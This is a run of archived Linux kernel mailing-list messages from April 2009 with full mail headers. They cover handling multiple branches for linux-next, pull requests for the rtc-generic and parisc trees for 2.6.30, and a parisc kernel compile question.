> What's the optimal way to sort out multiple branches in this tree?
> Apparently Andrew is cross with me because the rtc-parisc branch didn't
> get picked up... Should I put a list of branches in my kernel.org
> public_html or something?

I am not quite sure what you are getting at.  If you have multiple trees
(or branches in a tree), I can merge them separately into linux-next -
just tell me what they are.

--=20
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au
http://www.canb.auug.org.au/~sfr/

--Signature=_Thu__2_Apr_2009_22_32_05_+1100_2NUtc5aSpAuDlQ3X
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAknUojUACgkQjjKRsyhoI8zwHgCfTdTu/1h6PlIRXB8+pM2yZBzK
abIAnjcaTyZitVf5k+FUUMScxEF4TqXN
=1KP7
-----END PGP SIGNATURE-----

--Signature=_Thu__2_Apr_2009_22_32_05_+1100_2NUtc5aSpAuDlQ3X--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.next
Subject: Re: linux-next: manual merge of the tracing tree with the parisc
	tree
Date: Thu, 02 Apr 2009 13:54:43 +0000
Lines: 28
Approved: news@gmane.org
Message-ID: <1238680483.3383.7.camel@mulgrave.int.hansenpartnership.com>
References: <20090401113740.7f425e02.sfr@canb.auug.org.au>
	 <20090401175033.GE1443@bombadil.infradead.org>
	 <20090402223205.e4ab7b5e.sfr@canb.auug.org.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1238680531 26591 80.91.229.12 (2 Apr 2009 13:55:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2009 13:55:31 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	Thomas Gleixner <tglx@linutronix.de>,
	Ingo Molnar <mingo@elte.hu>, "H. Peter Anvin" <hpa@zytor.com>,
	linux-next@vger.kernel.org, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org,
	Uwe Kleine-Koenig <u.kleine-koenig@pengutronix.de>,
	Steven Rostedt <srostedt@redhat.com>
To: Stephen Rothwell <sfr@canb.auug.org.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 02 15:56:46 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LpNP4-0000M1-Cf
	for glpp-linux-parisc@gmane.org; Thu, 02 Apr 2009 15:56:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756472AbZDBNys (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 2 Apr 2009 09:54:48 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754566AbZDBNys
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 2 Apr 2009 09:54:48 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:45639 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754037AbZDBNyr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 2 Apr 2009 09:54:47 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 891C28EE128;
	Thu,  2 Apr 2009 06:54:45 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id tpN2Qhv1uWh5; Thu,  2 Apr 2009 06:54:45 -0700 (PDT)
Original-Received: from [192.168.10.222] (mulgrave.ext.hansenpartnership.com [192.168.10.222])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 4A89C8EE01F;
	Thu,  2 Apr 2009 06:54:44 -0700 (PDT)
In-Reply-To: <20090402223205.e4ab7b5e.sfr@canb.auug.org.au>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1466 gmane.linux.kernel.next:6733
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1466>

On Thu, 2009-04-02 at 22:32 +1100, Stephen Rothwell wrote:
> Hi Kyle,
> 
> On Wed, 1 Apr 2009 13:50:34 -0400 Kyle McMartin <kyle@mcmartin.ca> wrote:
> >
> > What's the optimal way to sort out multiple branches in this tree?
> > Apparently Andrew is cross with me because the rtc-parisc branch didn't
> > get picked up... Should I put a list of branches in my kernel.org
> > public_html or something?
> 
> I am not quite sure what you are getting at.  If you have multiple trees
> (or branches in a tree), I can merge them separately into linux-next -
> just tell me what they are.

Actually, the traditional way for a multi branch tree (something like
Jens' Block tree) which contains all manner of branches, some of which
are experimental and shouldn't be in linux-next, is to have a next
branch into which you manually merge all branches that should be
included.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 0/7] Generic RTC class driver
Date: Thu, 2 Apr 2009 09:56:40 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <20090402135640.GA14159@bombadil.infradead.org>
References: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com> <alpine.LRH.2.00.0903111134270.1040@vixen.sonytel.be> <20090311154505.GB5448@bombadil.infradead.org> <alpine.LRH.2.00.0903111825040.1040@vixen.sonytel.be> <20090313042543.GA3907@bombadil.infradead.org> <alpine.LRH.2.00.0904021141080.30882@vixen.sonytel.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238680644 27036 80.91.229.12 (2 Apr 2009 13:57:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2009 13:57:24 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Alessandro Zummo <alessandro.zummo@towertech.it>,
	linux-m68k@vger.kernel.org, rtc-linux@googlegroups.com,
	linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	Paul Mundt <lethal@linux-sh.org>,
	Dann Frazier <dannf@dannf.org>
To: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Thu Apr 02 15:58:42 2009
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LpNQy-0000u8-8z
	for glpm-linux-m68k@gmane.org; Thu, 02 Apr 2009 15:58:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756357AbZDBN4y (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Thu, 2 Apr 2009 09:56:54 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757412AbZDBN4y
	(ORCPT <rfc822;linux-m68k-outgoing>); Thu, 2 Apr 2009 09:56:54 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:34050 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756357AbZDBN4x (ORCPT
	<rfc822;linux-m68k@vger.kernel.org>); Thu, 2 Apr 2009 09:56:53 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LpNPM-0003lQ-6J; Thu, 02 Apr 2009 13:56:40 +0000
Content-Disposition: inline
In-Reply-To: <alpine.LRH.2.00.0904021141080.30882@vixen.sonytel.be>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:581 gmane.linux.ports.parisc:1467 gmane.linux.kernel:816441 gmane.linux.ports.ppc64.devel:54379
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1467>

On Thu, Apr 02, 2009 at 11:42:02AM +0200, Geert Uytterhoeven wrote:
> On Fri, 13 Mar 2009, Kyle McMartin wrote:
> > On Wed, Mar 11, 2009 at 06:26:12PM +0100, Geert Uytterhoeven wrote:
> > > On Wed, 11 Mar 2009, Kyle McMartin wrote:
> > > > On Wed, Mar 11, 2009 at 11:36:02AM +0100, Geert Uytterhoeven wrote:
> > > > > Is it OK for you to take it through your PA-RISC tree?
> > > > > If yes, I can resend the patch series with the collected acks.
> > > > 
> > I've pulled it and pushed it back out, I'll submit it when the merge
> > window opens.
> 
> Apparently the first half went it through akpm. Will you take care of the
> remaining commits?
> 

Yup, I updated the rtc-parisc branch last night, I'll push it along to
Linus this morning.

Thanks again, Geert.

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-m68k" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [git patches] rtc{,-parisc} patches for 2.6.30
Date: Thu, 2 Apr 2009 15:03:54 +0000
Lines: 39
Approved: news@gmane.org
Message-ID: <20090402150354.GA2220@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238684994 11980 80.91.229.12 (2 Apr 2009 15:09:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2009 15:09:54 +0000 (UTC)
Cc: Geert.Uytterhoeven@sonycom.com, a.zummo@towertech.it,
	David.Woodhouse@intel.com, benh@kernel.crashing.org, dannf@hp.com,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	kyle@mcmartin.ca
To: torvalds@linux-foundation.org
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1764993AbZDBPIH@vger.kernel.org Thu Apr 02 17:11:11 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1764993AbZDBPIH@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LpOYe-0008IQ-02
	for glk-linux-kernel-3@gmane.org; Thu, 02 Apr 2009 17:10:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1764993AbZDBPIH (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 2 Apr 2009 11:08:07 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1764281AbZDBPF3
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Thu, 2 Apr 2009 11:05:29 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:34776 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1764164AbZDBPF1 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Thu, 2 Apr 2009 11:05:27 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX19WvLGXgoGvPvgviITZjevuGDBfuEh8eNQ@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n32F3uii004413
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Thu, 2 Apr 2009 15:03:56 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n32F3s5f004408;
	Thu, 2 Apr 2009 15:03:54 GMT
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
X-Virus-Scanned: ClamAV 0.93.3/9198/Thu Apr  2 06:50:41 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Thu, 02 Apr 2009 15:03:57 +0000 (UTC)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:816505 gmane.linux.ports.parisc:1468
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1468>

The following changes since commit 833bb3046b6cb320e775ea2160ddca87d53260d5:
  Alexey Dobriyan (1):
        serial: fixup /proc/tty/driver/serial after proc_fops conversion

are available in the git repository at:

  master.kernel.org:/pub/scm/linux/kernel/git/kyle/rtc-parisc.git master

Geert Uytterhoeven (7):
      parisc: rtc: get_rtc_time() returns unsigned int
      parisc: rtc: platform_driver_probe() fixups
      parisc: rtc: Add missing module alias
      parisc: rtc: Rename rtc-parisc to rtc-generic
      m68k: Hook up rtc-generic
      powerpc: Hook up rtc-generic, and kill rtc-ppc
      powerpc/ps3: Add rtc-ps3

 arch/m68k/include/asm/rtc.h           |    7 ++-
 arch/m68k/kernel/time.c               |   18 ++++++
 arch/parisc/Kconfig                   |    2 +-
 arch/parisc/kernel/time.c             |    6 +-
 arch/powerpc/include/asm/ps3.h        |    3 +
 arch/powerpc/kernel/time.c            |   16 +++++
 arch/powerpc/platforms/ps3/os-area.c  |    2 +
 arch/powerpc/platforms/ps3/platform.h |    2 -
 arch/powerpc/platforms/ps3/setup.c    |    2 -
 arch/powerpc/platforms/ps3/time.c     |   26 ++++-----
 drivers/rtc/Kconfig                   |   31 +++++-----
 drivers/rtc/Makefile                  |    4 +-
 drivers/rtc/rtc-generic.c             |   84 ++++++++++++++++++++++++++
 drivers/rtc/rtc-parisc.c              |   86 ---------------------------
 drivers/rtc/rtc-ppc.c                 |   69 ----------------------
 drivers/rtc/rtc-ps3.c                 |  104 +++++++++++++++++++++++++++++++++
 16 files changed, 267 insertions(+), 195 deletions(-)
 create mode 100644 drivers/rtc/rtc-generic.c
 delete mode 100644 drivers/rtc/rtc-parisc.c
 delete mode 100644 drivers/rtc/rtc-ppc.c
 create mode 100644 drivers/rtc/rtc-ps3.c


From - Thu Nov 08 21:03:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc
Subject: Re: linux-next: manual merge of the tracing tree with the parisc
	tree
Date: Thu, 2 Apr 2009 11:22:15 -0400
Lines: 11
Approved: news@gmane.org
Message-ID: <20090402152215.GB14159@bombadil.infradead.org>
References: <20090401113740.7f425e02.sfr@canb.auug.org.au> <20090401175033.GE1443@bombadil.infradead.org> <20090402223205.e4ab7b5e.sfr@canb.auug.org.au> <1238680483.3383.7.camel@mulgrave.int.hansenpartnership.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238685779 15038 80.91.229.12 (2 Apr 2009 15:22:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2009 15:22:59 +0000 (UTC)
Cc: Stephen Rothwell <sfr@canb.auug.org.au>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Thomas Gleixner <tglx@linutronix.de>,
	Ingo Molnar <mingo@elte.hu>, "H. Peter Anvin" <hpa@zytor.com>,
	linux-next@vger.kernel.org, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org,
	Uwe Kleine-Koenig <u.kleine-koenig@pengutronix.de>,
	Steven Rostedt <srostedt@redhat.com>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-next-owner@vger.kernel.org Thu Apr 02 17:24:15 2009
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LpOm3-00053d-ES
	for glkn-linux-next@gmane.org; Thu, 02 Apr 2009 17:24:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758885AbZDBPWi (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Thu, 2 Apr 2009 11:22:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758789AbZDBPWi
	(ORCPT <rfc822;linux-next-outgoing>); Thu, 2 Apr 2009 11:22:38 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:39575 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758212AbZDBPWh (ORCPT
	<rfc822;linux-next@vger.kernel.org>); Thu, 2 Apr 2009 11:22:37 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LpOkB-000092-7U; Thu, 02 Apr 2009 15:22:15 +0000
Content-Disposition: inline
In-Reply-To: <1238680483.3383.7.camel@mulgrave.int.hansenpartnership.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:6735 gmane.linux.ports.parisc:1469
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1469>

On Thu, Apr 02, 2009 at 01:54:43PM +0000, James Bottomley wrote:
> Actually, the traditional way for a multi branch tree (something like
> Jens' Block tree) which contains all manner of branches, some of which
> are experimental and shouldn't be in linux-next, is to have a next
> branch into which you manually merge all branches that should be
> included.
> 
> James
> 

Heh, that makes sense. Occam's Razor, I guess.

From - Thu Nov 08 21:03:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [git patches] parisc patches for 2.6.30
Date: Thu, 2 Apr 2009 15:31:20 +0000
Lines: 87
Approved: news@gmane.org
Message-ID: <20090402153115.GA15436@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238686418 17579 80.91.229.12 (2 Apr 2009 15:33:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2009 15:33:38 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	kyle@mcmartin.ca
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 02 17:34:56 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LpOwL-0000av-Rz
	for glpp-linux-parisc@gmane.org; Thu, 02 Apr 2009 17:34:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752533AbZDBPcg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 2 Apr 2009 11:32:36 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754712AbZDBPcg
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 2 Apr 2009 11:32:36 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:41284 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752533AbZDBPce (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 2 Apr 2009 11:32:34 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1/2Jy6iIX16yKQx+SOJSfhxmub2g8drqmY@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n32FVKnp016799
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Thu, 2 Apr 2009 15:31:20 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n32FVKj6016798;
	Thu, 2 Apr 2009 15:31:20 GMT
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
X-Virus-Scanned: ClamAV 0.93.3/9198/Thu Apr  2 06:50:41 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Thu, 02 Apr 2009 15:31:24 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1470 gmane.linux.kernel:816524
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1470>

The following changes since commit 15f7176eb1cccec0a332541285ee752b935c1c85:
  Linus Torvalds (1):
        Merge git://git.kernel.org/.../davem/net-2.6

are available in the git repository at:

  master.kernel.org:/pub/scm/linux/kernel/git/kyle/parisc-2.6.git master

Alexander Beregalov (4):
      parisc: iosapic: fix build breakage
      parisc: led: remove proc_dir_entry::owner
      parisc: asm/pdc.h should include asm/page.h
      parisc: drivers: fix warnings

Colin Watson (1):
      parisc: expose 32/64-bit capabilities in cpuinfo

Helge Deller (10):
      parisc: fix usage of 32bit PTE page table entries on 32bit kernels
      parisc: use constants instead of numbers in assembly
      parisc: allow to build with 16k default kernel page size
      parisc: add LATENCYTOP_SUPPORT and CONFIG_STACKTRACE_SUPPORT
      parisc: simplify sys_clone()
      parisc: add ftrace (function and graph tracer) functionality
      parisc: blink all or loadavg LEDs on oops
      parisc: document light weight syscall ABI
      parisc: oops_enter()/oops_exit() in die()
      parisc: fix "make tar-pkg"

James Bottomley (1):
      parisc: fix macro expansion in atomic.h

Kyle McMartin (5):
      parisc: select BUG always
      Merge branch 'rusty-cpumask-parisc' into parisc
      parisc: fix build when ARCH_HAS_KMAP
      parisc: Move kernel Elf_Fdesc define to <asm/elf.h>
      parisc: move dereference_function_descriptor to process.c

Rusty Russell (3):
      cpumask: arch_send_call_function_ipi_mask: parisc
      cpumask: prepare for iterators to only go to nr_cpu_ids/nr_cpumask_bits.: parisc
      cpumask: Use accessors code.: parisc

 arch/parisc/Kconfig                  |   10 ++
 arch/parisc/Makefile                 |    4 +-
 arch/parisc/include/asm/atomic.h     |   18 ++--
 arch/parisc/include/asm/cacheflush.h |    3 +
 arch/parisc/include/asm/elf.h        |   10 ++
 arch/parisc/include/asm/ftrace.h     |   25 +++++
 arch/parisc/include/asm/page.h       |   13 +--
 arch/parisc/include/asm/pdc.h        |    4 +
 arch/parisc/include/asm/pgtable.h    |   15 ++-
 arch/parisc/include/asm/smp.h        |    3 +-
 arch/parisc/kernel/Makefile          |   15 +++
 arch/parisc/kernel/entry.S           |   60 +++++++++--
 arch/parisc/kernel/firmware.c        |    6 +-
 arch/parisc/kernel/ftrace.c          |  185 ++++++++++++++++++++++++++++++++++
 arch/parisc/kernel/irq.c             |    4 +-
 arch/parisc/kernel/module.c          |   18 ----
 arch/parisc/kernel/parisc_ksyms.c    |    5 +
 arch/parisc/kernel/process.c         |   29 +++---
 arch/parisc/kernel/processor.c       |   13 ++-
 arch/parisc/kernel/smp.c             |   21 ++--
 arch/parisc/kernel/stacktrace.c      |   63 ++++++++++++
 arch/parisc/kernel/syscall.S         |   58 +++++++++--
 arch/parisc/kernel/time.c            |    3 +-
 arch/parisc/kernel/traps.c           |    5 +-
 arch/parisc/kernel/vmlinux.lds.S     |    2 +
 arch/parisc/mm/init.c                |    7 ++
 drivers/parisc/asp.c                 |    2 +-
 drivers/parisc/ccio-dma.c            |   16 ++--
 drivers/parisc/dino.c                |    7 +-
 drivers/parisc/eisa.c                |    2 +-
 drivers/parisc/eisa_enumerator.c     |    4 +-
 drivers/parisc/iosapic.c             |    2 +-
 drivers/parisc/led.c                 |   26 +++--
 scripts/package/buildtar             |    4 +
 34 files changed, 540 insertions(+), 122 deletions(-)
 create mode 100644 arch/parisc/include/asm/ftrace.h
 create mode 100644 arch/parisc/kernel/ftrace.c
 create mode 100644 arch/parisc/kernel/stacktrace.c
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't compile kernel for parisc
Date: Thu, 2 Apr 2009 11:52:26 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20090402155226.GC14159@bombadil.infradead.org>
References: <a4423d670903030457k20f2e975ya567e9d3b1a5a3ab@mail.gmail.com> <20090303163348.422E34E9A@hiauly1.hia.nrc.ca> <a4423d670903180455u20ead146k919426a1fb7276c6@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238687619 22121 80.91.229.12 (2 Apr 2009 15:53:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2009 15:53:39 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: Alexander Beregalov <a.beregalov@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 02 17:54:55 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LpPFe-0007Ky-S8
	for glpp-linux-parisc@gmane.org; Thu, 02 Apr 2009 17:54:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752063AbZDBPwa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 2 Apr 2009 11:52:30 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761393AbZDBPwa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 2 Apr 2009 11:52:30 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:32979 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752063AbZDBPwa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 2 Apr 2009 11:52:30 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LpPDO-0004II-EW; Thu, 02 Apr 2009 15:52:26 +0000
Content-Disposition: inline
In-Reply-To: <a4423d670903180455u20ead146k919426a1fb7276c6@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1471
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1471>

On Wed, Mar 18, 2009 at 02:55:13PM +0300, Alexander Beregalov wrote:
> 
> I have recompiled kernel with -ffunction-sections, but still the same problem.
> 

This is wrong... the kernel is always built with -ffunction-sections,
see arch/parisc/Makefile:

# Without this, "ld -r" results in .text sections that are too big
# (> 0x40000) for branches to reach stubs.
